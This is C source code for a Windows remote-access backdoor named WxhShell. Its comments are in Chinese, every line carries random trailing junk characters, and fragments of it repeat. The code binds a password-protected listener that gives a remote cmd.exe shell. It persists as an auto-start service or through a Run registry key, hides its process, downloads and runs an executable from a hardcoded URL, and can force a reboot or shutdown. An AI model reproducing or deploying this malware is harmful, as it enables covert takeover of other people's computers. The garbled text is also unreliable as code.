    closesocket(wsh); g'2}Y5m$`  
    ExitThread(0); @.,'A[D!K  
    } +wZ|g6vMct  
    break; gUYTVp Vf  
    } a%`L+b5-$  
  // 获取shell @9l$j Z~x  
  case 's': { \Qq YH^M  
    CmdShell(wsh); X]dN1/_  
    closesocket(wsh); EAE#AB-A  
    ExitThread(0); yoz-BS  
    break; xm tD0U1  
  } "G Jhx/zt  
  // 退出 s.a@uR^  
  case 'x': { s+^1\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /JIVp_-p  
    CloseIt(wsh); Nw%^Gs<~  
    break; mRN[l j  
    } tg<bVA)E'J  
  // 离开 \\C!{}+  
  case 'q': { U*XdFH}vV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ($ gmN 4  
    closesocket(wsh); AdbTI#eY  
    WSACleanup(); SJE!14|e  
    exit(1); iH>b"H >  
    break; s~k62  
        } UG]x CkDS  
  } iF_u/#  
  } #c9MVQ_   
b#n  
  // 提示信息 U !%IC7@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nh !U  
} 4tSh.qBht  
  } R<^E?FI   
9f CU+s  
  return; bNHs jx@  
} TQOJN  
\"$q=%vD  
// shell模块句柄 HUbXJsSP  
int CmdShell(SOCKET sock) M7#CMLy  
{ 6=x]20  
STARTUPINFO si; hMgk+4*  
ZeroMemory(&si,sizeof(si)); Fxn=+Xgg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gx2v(1?S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AjsjYThV  
PROCESS_INFORMATION ProcessInfo; CY"i|s  
char cmdline[]="cmd"; JB!*{{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xXJzE|)1h!  
  return 0; M >i *e  
} `W7;-  
(l/i#  
// 自身启动模式 }a%Wu 7D  
int StartFromService(void) kmt+E'^]  
{ Kr`.q:0GK  
typedef struct ca[*#xiJ  
{ fT=ZiHJ3Gu  
  DWORD ExitStatus; I/gfsyfA  
  DWORD PebBaseAddress; W k"_lJ  
  DWORD AffinityMask; |aj]]l[@S  
  DWORD BasePriority; H~:g =Zw  
  ULONG UniqueProcessId; V'9OGn2v  
  ULONG InheritedFromUniqueProcessId; slLTZ]  
}   PROCESS_BASIC_INFORMATION; e.(RhajB  
~8'HX*B]z  
PROCNTQSIP NtQueryInformationProcess; |1Nz8Vr.  
^5+7D1>W%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iphdJZ/f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )P|/<>z  
V1A7hRjxvG  
  HANDLE             hProcess; yKmHTjX=  
  PROCESS_BASIC_INFORMATION pbi; 3Q,p,  
McN'J. Sxp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kn WI7  
  if(NULL == hInst ) return 0; i6i;{\tc  
F |_mCwA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v'Up& /(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z[JM ]Wy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <!X]$kvG  
V3axwg_  
  if (!NtQueryInformationProcess) return 0; @Q:?,  
#Zn+-Ih  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .SBN^fq  
  if(!hProcess) return 0; , _xJ9_  
T<RWz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Iapzhy2l  
>_X(rar0  
  CloseHandle(hProcess); SQk5SP  
z] |Y   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qLB(Th\&'  
if(hProcess==NULL) return 0; /#}%c'  
T n,Ifo3  
HMODULE hMod; 2XeNE[  
char procName[255]; PG'I7)Bv  
unsigned long cbNeeded; 2 xi@5;!  
P[e#j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @2\UjEo~  
u;8bbv4  
  CloseHandle(hProcess); U* T :p>&  
Kn\$\?u  
if(strstr(procName,"services")) return 1; // 以服务启动 , - _ReL  
L.a~vk 1  
  return 0; // 注册表启动 ],wzZhA  
} O^R ^Aw  
8)J,jh9q  
// 主模块 "||G`%aO+t  
int StartWxhshell(LPSTR lpCmdLine) Z3iX^  
{ ;;LiZlf  
  SOCKET wsl; aQ)g7C  
BOOL val=TRUE; ^Ux*"\/Es  
  int port=0; A^F0}MYT  
  struct sockaddr_in door; +jp^  
 ur k@v  
  if(wscfg.ws_autoins) Install(); ` $[`C/h  
[+:KIW<  
port=atoi(lpCmdLine); r\|"j8  
XP65  
if(port<=0) port=wscfg.ws_port; ";59,\6  
u?8e>a  
  WSADATA data; b*< *,Ds/G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5}_,rF?cX  
PmDar<m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o4&#,m+ :  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2V*<J:;wb  
  door.sin_family = AF_INET; l3kBt-m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l`{JxVg  
  door.sin_port = htons(port); Oin:5K)4-  
r}t%DH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uC1v^!D  
closesocket(wsl); et}s yPH  
return 1; w"j[c#vM  
} dJZ 9mP!d  
`ln= D$  
  if(listen(wsl,2) == INVALID_SOCKET) { pB,@<\l %  
closesocket(wsl); iS28p  
return 1; }5ONDg(I~  
} \Eyy^pb  
  Wxhshell(wsl); !q*]_1  
  WSACleanup(); =/HTe&  
;p)fW/<  
return 0; [kZe6gYP&  
}-M% $ ~`  
} 1Q9e S&  
79MB_Is]s  
// 以NT服务方式启动 D5 ^WiQ<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %C*h/AW)'  
{ $qhVow5~  
DWORD   status = 0; p"J\+R  
  DWORD   specificError = 0xfffffff; LpSd/_^b  
%:.00F([r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $RV'DQO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l@%7] 0!T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D,'@b+B[  
  serviceStatus.dwWin32ExitCode     = 0; C Eb .?B  
  serviceStatus.dwServiceSpecificExitCode = 0; lD)QB!*v  
  serviceStatus.dwCheckPoint       = 0; Q,xKi|$r  
  serviceStatus.dwWaitHint       = 0; ehls:)F  
jhSc9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y]E ?\03"  
  if (hServiceStatusHandle==0) return; ,0[h`FN  
LgS.%Mn  
status = GetLastError(); 7~ok*yGw  
  if (status!=NO_ERROR) `=~d^wKYJ3  
{ 9Z_98 Rh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9#niMv9  
    serviceStatus.dwCheckPoint       = 0; }!RFX)T  
    serviceStatus.dwWaitHint       = 0; ,LJX  
    serviceStatus.dwWin32ExitCode     = status; 4 5\%2un  
    serviceStatus.dwServiceSpecificExitCode = specificError; B (dq$+4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Z"(K\1TH  
    return; |Xl,~-.  
  } 4*9:  
1PJ8O|Z t8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d/:zO4v3  
  serviceStatus.dwCheckPoint       = 0; Wtwh.\Jba  
  serviceStatus.dwWaitHint       = 0; |7l*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rF5O?<(  
} nXqZkZE\  
hSD uByoi  
// 处理NT服务事件,比如:启动、停止 S[cVoV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c)fTI,.$  
{ ?I.<mdhN#t  
switch(fdwControl) ,~- dZs  
{ skP2IMa75  
case SERVICE_CONTROL_STOP: g4^df%)&  
  serviceStatus.dwWin32ExitCode = 0; N!F ;!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t^qPQ;"=,  
  serviceStatus.dwCheckPoint   = 0; Af>Ho"i  
  serviceStatus.dwWaitHint     = 0; `$D2w|  
  { X6]eQ PN2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gyW##M@{  
  } n/5)}( }K  
  return; HLcK d`$/  
case SERVICE_CONTROL_PAUSE: &Q"Ox{~W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '\X<+Sm'  
  break; ef=LPCi?  
case SERVICE_CONTROL_CONTINUE: VZ8HnNAbX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ni[2 p  
  break; s9Aq-N  
case SERVICE_CONTROL_INTERROGATE: YS5Pt)?  
  break; YQ}bG{V  
}; NPM}w!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +LM /< l  
} k%Q>lf<e   
7$7Y)&\5 w  
// 标准应用程序主函数 1[vmK,N=E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wDV%.Cc  
{ T=w5FT  
+[ 944n  
// 获取操作系统版本 =?f\o*J)  
OsIsNt=GetOsVer(); ',yY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \{G1d"n  
@iwg`j6ol  
  // 从命令行安装 9+\3E4K  
  if(strpbrk(lpCmdLine,"iI")) Install(); gs_nUgcA  
}*4K]3et$  
  // 下载执行文件 tc@([XqH  
if(wscfg.ws_downexe) { ?B2 T'}~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^\uj&K6l  
  WinExec(wscfg.ws_filenam,SW_HIDE); <tbsQ3  
} t*zBN!Wu_  
fr%}|7  
if(!OsIsNt) { Zv*Z^; X9  
// 如果时win9x,隐藏进程并且设置为注册表启动 n^;:V8k  
HideProc(); =kUN ^hb  
StartWxhshell(lpCmdLine); iQ9jt  
} X#mppMU  
else WX} "Pj/6  
  if(StartFromService()) ozbu|9 +v  
  // 以服务方式启动 }F1|& A  
  StartServiceCtrlDispatcher(DispatchTable); c"3 a,&  
else t/K<fy 6  
  // 普通方式启动 40}8EP k)  
  StartWxhshell(lpCmdLine); W,i SN}  
VGY#ph%  
return 0; >uuP@j  
} hgCeU+H  
mB.kV Ve0  
U<**Est  
"]ow1{  
=========================================== e}?#vTRI}  
{4g1Wr5=  
3 [lF  
~\c]!%)o  
_'k?9eN`  
2yhtJ9/  
" h5G>FPM-=  
;SF0}51  
#include <stdio.h> 9KVeFl  
#include <string.h> cy)gN g  
#include <windows.h> zm}4=Kz}  
#include <winsock2.h> -Rhxib|<  
#include <winsvc.h> lM C4j  
#include <urlmon.h> w8*+l0  
<`sVu  
#pragma comment (lib, "Ws2_32.lib") BYN<|=  
#pragma comment (lib, "urlmon.lib") '}*5ee](S  
LMWcF'l  
#define MAX_USER   100 // 最大客户端连接数 z]> 0A  
#define BUF_SOCK   200 // sock buffer ,ijgqEN  
#define KEY_BUFF   255 // 输入 buffer W$@q ~/E  
*usfJ-  
#define REBOOT     0   // 重启 P@:#NU[  
#define SHUTDOWN   1   // 关机 +I#5?  
KP7bU9odJ  
#define DEF_PORT   5000 // 监听端口 |n3PznV  
Re('7m h~  
#define REG_LEN     16   // 注册表键长度 Xd>4n7nb$`  
#define SVC_LEN     80   // NT服务名长度 lNQt  
n *%<!\gJ  
// 从dll定义API 34 W#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2i#wJ8vrF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }`4o+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6pI =?g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v8,+|+3  
AZxx%6  
// wxhshell配置信息 A"k6n\!n;  
struct WSCFG { _/ZIDIn  
  int ws_port;         // 监听端口 nbMnqkNb  
  char ws_passstr[REG_LEN]; // 口令 ;Br8\2=$  
  int ws_autoins;       // 安装标记, 1=yes 0=no kssS,Ogf\_  
  char ws_regname[REG_LEN]; // 注册表键名 zv!%u=49  
  char ws_svcname[REG_LEN]; // 服务名 $BG4M?Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y@'8vOh`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;VM/Cxgep  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +/7UM x1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `h( JD$w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZPn`.Qc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]v@#3,BV  
x&tad+T  
}; ZrnZ7,!@  
X^#48*"a  
// default Wxhshell configuration R>Fie5?  
struct WSCFG wscfg={DEF_PORT, 3Ec5:Caz  
    "xuhuanlingzhe", M~;mamTP  
    1, Ck2O?Ne  
    "Wxhshell", uh%%MhTjv  
    "Wxhshell", 4QdY"s( n  
            "WxhShell Service", iCao;Zb  
    "Wrsky Windows CmdShell Service", C',D"  
    "Please Input Your Password: ", m>$+sMZE  
  1, d l@  
  "http://www.wrsky.com/wxhshell.exe", ~N;.hU%l  
  "Wxhshell.exe" TS)p2#  
    }; ]x?9lQ1&  
D|,d_W  
// 消息定义模块 V{@<Z8sW#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j/{F#auI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {LbNKjn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C 7YZ;{t  
char *msg_ws_ext="\n\rExit."; b4!(~"b.  
char *msg_ws_end="\n\rQuit."; q/Ba#?sen  
char *msg_ws_boot="\n\rReboot..."; ||cG/I&,  
char *msg_ws_poff="\n\rShutdown..."; P*T 'R  
char *msg_ws_down="\n\rSave to "; Q1IN@Db}y  
6DD^h:*>  
char *msg_ws_err="\n\rErr!"; 2BBGJE  
char *msg_ws_ok="\n\rOK!"; <g5Bt wo%  
G6_Kid}"q  
char ExeFile[MAX_PATH]; K7Kd{9-2  
int nUser = 0; <)n1Z[4  
HANDLE handles[MAX_USER]; Axhe9!Fm  
int OsIsNt; }XWic88!~  
/}-]n81m  
SERVICE_STATUS       serviceStatus; {7[^L1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S3i%7f^C?N  
EQ8jxr<p  
// 函数声明 F*o{dLJ)  
int Install(void); MQ5#6 vJ  
int Uninstall(void); x"K<@mR5G  
int DownloadFile(char *sURL, SOCKET wsh); _\>?.gg$  
int Boot(int flag); NQ !t`  
void HideProc(void); ;#I(ucB<  
int GetOsVer(void); -RVwPY  
int Wxhshell(SOCKET wsl); "2}04b|"  
void TalkWithClient(void *cs); ;FQAL@"Yj  
int CmdShell(SOCKET sock); {N[IjY  
int StartFromService(void); *TVr| to  
int StartWxhshell(LPSTR lpCmdLine); 1]aM)},  
mQtGE[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }k.-xaj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LpeQx\  
l|^p;z: d  
// 数据结构和表定义 9XX&~GW/  
SERVICE_TABLE_ENTRY DispatchTable[] = BJ<hP9 #  
{ ,h5\vWZ  
{wscfg.ws_svcname, NTServiceMain}, o*eU0  
{NULL, NULL} }H!c9Y  
}; 4K[E3aA  
YwQxN"  
// 自我安装 Cy4@\X%W  
int Install(void) Dr$k6kZ}'U  
{ uDay||7^g  
  char svExeFile[MAX_PATH]; 28C/^4  
  HKEY key; 6E{HNPMb>  
  strcpy(svExeFile,ExeFile); IUAx*R  
X,:^})]  
// 如果是win9x系统,修改注册表设为自启动 @D^y<7(  
if(!OsIsNt) { @bOhnd#W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EA|*|o4)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %RG kXOgp  
  RegCloseKey(key); 9TBkVbqV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7f#e#_sM;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M9HM:  
  RegCloseKey(key); _,"T;i  
  return 0; O&V}T#8n  
    } O;9u1,%w  
  } Dz:A.x@$*  
} fchsn*R%-  
else { n@XI$>B  
B^P)(Nu+  
// 如果是NT以上系统,安装为系统服务 A&jkc'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E'j>[C:U  
if (schSCManager!=0) Xa=oryDt  
{ U748$%}]  
  SC_HANDLE schService = CreateService 8{#W F#  
  ( NE,2jeZQ.  
  schSCManager, *9y)B|P^  
  wscfg.ws_svcname, #wK {G)J  
  wscfg.ws_svcdisp, vP`Sz}FU  
  SERVICE_ALL_ACCESS, ST5L O#5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q&@Ls?pu  
  SERVICE_AUTO_START, e) 42SL^s  
  SERVICE_ERROR_NORMAL, Fm_^7|  
  svExeFile, u\ro9l  
  NULL, G|Rsj{2'  
  NULL, 7"@^JxYN  
  NULL, ^[,Q2MHCT(  
  NULL, d&4 ve Lu  
  NULL M(KsLu1   
  ); fz\C$[+u  
  if (schService!=0) =,$*-<p=3  
  { R8I%Cyc  
  CloseServiceHandle(schService); SE.r 'J0  
  CloseServiceHandle(schSCManager); dKTyh:_{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3p6QJuSB  
  strcat(svExeFile,wscfg.ws_svcname); Oq@+/UWX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f(:+JH<P~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); njtz,qt_;G  
  RegCloseKey(key); "XlNKBgM  
  return 0; 6=U81  
    } [Ul"I-K  
  } H C(Vu  
  CloseServiceHandle(schSCManager); C-E~z{  
} 3)88B"E  
} ~U(`XvR\4  
O B`(,m#  
return 1; pYf57u  
} Q)c3=.[>  
3u#bx1  
// 自我卸载 U$v|c%6  
int Uninstall(void) `-W.uOZ0  
{  a?S5 =  
  HKEY key; E-IVv  
:+NZW9_  
if(!OsIsNt) { nF>41 K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kH~ z07:  
  RegDeleteValue(key,wscfg.ws_regname); w=:o//~6j  
  RegCloseKey(key); 6!zBLIYFI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )12.W=p  
  RegDeleteValue(key,wscfg.ws_regname); {,NGxqhE  
  RegCloseKey(key); JJ_b{ao<  
  return 0; 3n;>k9{  
  } ]xC#XYE:dy  
} w\,N}'G  
} Su?e\7aj  
else { k#F |  
uP, iGA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); })W9=xO~  
if (schSCManager!=0) <|Srbs+  
{ `NYu|:JK:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "@^Pb$BLY  
  if (schService!=0) %]7'2  
  { `ppyCUX  
  if(DeleteService(schService)!=0) { @W}cM  
  CloseServiceHandle(schService); Q2yD4>qy  
  CloseServiceHandle(schSCManager); Z,zkm{9*  
  return 0; }py)EI,U  
  } X3e&c  
  CloseServiceHandle(schService); 2[~|#0x  
  } W*S}^6ZT`  
  CloseServiceHandle(schSCManager); c?5?TJpm  
} @<kY,ox@~  
} LNp{lC  
"Vh3hnS~  
return 1; A,67)li3  
} -Zq\x'  
R !g'zS'  
// 从指定url下载文件 `#HtVI  
int DownloadFile(char *sURL, SOCKET wsh) +t*V7nW  
{ j9gn7LS  
  HRESULT hr; i(T[  
char seps[]= "/"; ;)~}/nR<a  
char *token; 8tfM,.]_i  
char *file; O6*2oUKqK  
char myURL[MAX_PATH]; aeZ$Wu>]W  
char myFILE[MAX_PATH]; ')N[)&&Q{  
1WjNFi  
strcpy(myURL,sURL); Zt_~Zxn3  
  token=strtok(myURL,seps); (4o<U%3kGq  
  while(token!=NULL) &!P' M  
  { X*cDn.(I  
    file=token; &Va="HNKt  
  token=strtok(NULL,seps); E{;F4wT_@  
  } v[;R(pt?  
{p\ll  
GetCurrentDirectory(MAX_PATH,myFILE); e"oTlB  
strcat(myFILE, "\\"); }1fi#  
strcat(myFILE, file); .RNY}bbk  
  send(wsh,myFILE,strlen(myFILE),0); E7'  
send(wsh,"...",3,0); '0-YFx'U0V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tp46K\}Uf  
  if(hr==S_OK) "@z X{^:  
return 0; Ml_Hq>\U  
else 9?X8H1  
return 1; FKZ'6KM&A  
[)+wke9  
} 6am g*=]  
_'8P8 T&  
// 系统电源模块 5P Zzaz<  
int Boot(int flag) E5aRTDLq  
{ K;z$~;F  
  HANDLE hToken; _(zZrUHB  
  TOKEN_PRIVILEGES tkp; Ez8k.]qu  
*+OS;R1<  
  if(OsIsNt) { |`ya+/ff+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?(Se$iTZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :V3z`}Rl  
    tkp.PrivilegeCount = 1; za%gD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8)lrQvZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N0DzFXp  
if(flag==REBOOT) { :KmnwYm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y5CDdn  
  return 0; XGuxd  
} +0}z3T1L  
else { GO?hB4 9T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _aeIK  
  return 0; t4iD<{4  
} [rkw k\m*  
  } li hIPMU  
  else { @)\4 $#+-  
if(flag==REBOOT) { nb<e<>L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u,V_j|(e  
  return 0; _tUh*"e&  
} V&*|%,q   
else { {xAd>fGG+y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vPz$+&{I  
  return 0; y\omJx=,  
} gw!d[{#  
} oXjoQ  
9X?RJ."J  
return 1; b wM?DY  
} :8K}e]!c1  
?K+q~DzNSD  
// win9x进程隐藏模块 Fc#Sn2p*  
void HideProc(void) A XhP3B]  
{ {d XTj7  
N4#D&5I",  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ngj&1Ta&[  
  if ( hKernel != NULL ) yR? ./M!  
  { M8V c5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h!@7'Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ollsB3]]  
    FreeLibrary(hKernel); T|8:_4/l  
  } @@j:z;^|  
"OwK-  
return; |Fz ^(US  
} M^*\ $K%  
[]v$QR&u#v  
// 获取操作系统版本 )s,LFIy<A  
int GetOsVer(void) Gx %=&O  
{ (dZ]j){  
  OSVERSIONINFO winfo; nK32or3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /ej[oR  
  GetVersionEx(&winfo); NVghkd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CY*o"@-o5)  
  return 1; -)Bvx>8fq-  
  else MVnN0K4  
  return 0; #i .,+Q  
} U?an\rv  
r<'DS9m  
// 客户端句柄模块 ; PncJe5x  
int Wxhshell(SOCKET wsl) ufCpX>lNF  
{ ~o#mX?'7  
  SOCKET wsh; NT0n [o^  
  struct sockaddr_in client; ]J[d8S5  
  DWORD myID; S)g:+P  
81"` B2  
  while(nUser<MAX_USER) Pz34a@%"  
{ =[8K#PZ$w  
  int nSize=sizeof(client); _P=+\ [|y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =\_gT=tZ  
  if(wsh==INVALID_SOCKET) return 1; m% 3D  
HdgNy\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x!fG%o~h  
if(handles[nUser]==0) "w$,`M?2  
  closesocket(wsh); ?m5E Xe  
else *L9v(Kc  
  nUser++; ~|9VVeE  
  } #CPLvg#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7UY4* j|[C  
5[g\.yi2_]  
  return 0; ' Ut4=@)  
} rf-yUH]&S  
}NoP(&ebz*  
// 关闭 socket hf]m'5pb  
void CloseIt(SOCKET wsh) .b+ix=:  
{ i(pHJP:a:  
closesocket(wsh); 2,dWD<h  
nUser--; T\n6^@.>  
ExitThread(0); D HT^.UM28  
} /2zan}  
Pw| h`[h  
// 客户端请求句柄 'AX5V-t  
void TalkWithClient(void *cs) yhYF "~CM  
{ 5?F5xiW  
t[J=8rhER  
  SOCKET wsh=(SOCKET)cs; oz>2P.7  
  char pwd[SVC_LEN]; M,S'4Sz uk  
  char cmd[KEY_BUFF]; $%q=tn'EX  
char chr[1]; nX 9]dz  
int i,j; (5 @H  
;xe.0j0h  
  while (nUser < MAX_USER) { w6Nn x5Ay  
SF&2a(~s  
if(wscfg.ws_passstr) { 5e$1KN`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JC%&d1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4MS#`E7LrC  
  //ZeroMemory(pwd,KEY_BUFF); s :7/\h  
      i=0; h Fik>B#!  
  while(i<SVC_LEN) { Hc =QSP  
ghWWJx9  
  // 设置超时 %2T i Rb  
  fd_set FdRead; Bp_R"DS7A  
  struct timeval TimeOut; {@ vnKyf^K  
  FD_ZERO(&FdRead); ^l|b>z"0ao  
  FD_SET(wsh,&FdRead); B Z|A&;  
  TimeOut.tv_sec=8; &G\mcstX  
  TimeOut.tv_usec=0; y7M{L8{0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z,4mg6gt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' {UKO7   
J6n>{iE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T"[]'|'  
  pwd=chr[0]; $GFR7YC 7  
  if(chr[0]==0xd || chr[0]==0xa) { fE+zA)KX  
  pwd=0; Z.Yq)\it  
  break; z,G_&5|f%  
  } hp)^s7H  
  i++; Cl`i|cF\  
    } GM0Q@`d  
J _;H  
  // 如果是非法用户,关闭 socket .Zczya  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <kdlXS>J.  
} <- !1`@l>  
/O}<e TR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s{Y4wvQyB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '1:)q  
WN+i3hC  
while(1) { d(o=)!p  
A}SGw.3  
  ZeroMemory(cmd,KEY_BUFF); 0o=HOCL\  
^" X.aksA  
      // 自动支持客户端 telnet标准   U_(>eVi7F  
  j=0; qU7_%Z  
  while(j<KEY_BUFF) { iCF},W+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y@0'0   
  cmd[j]=chr[0]; SOhM6/ID2/  
  if(chr[0]==0xa || chr[0]==0xd) { X+aQ 7^"s  
  cmd[j]=0; WHY/x /$  
  break; B= {_}f  
  } m4 (p MrJ  
  j++; n?.;*:  
    } W~/d2_|/  
CpO_p%P  
  // 下载文件 >MHlrSH2  
  if(strstr(cmd,"http://")) { mkn1LzE|F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j4?Qd0z  
  if(DownloadFile(cmd,wsh)) Bz/Vzc(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &rBe -52  
  else &.,K@OFE}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zHb [.ry~  
  } $] We|  
  else { +:.Jl:fx4  
=EP`,zqn$9  
    switch(cmd[0]) { 985F(r  
  HE,L8S  
  // 帮助 K:a8}w>Up  
  case '?': { sQa;l]O:NC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [34N/;5  
    break; Cf=H~&`Z  
  } ;>v.(0FE6  
  // 安装 /h0bBP  
  case 'i': { k{SGbC1=VK  
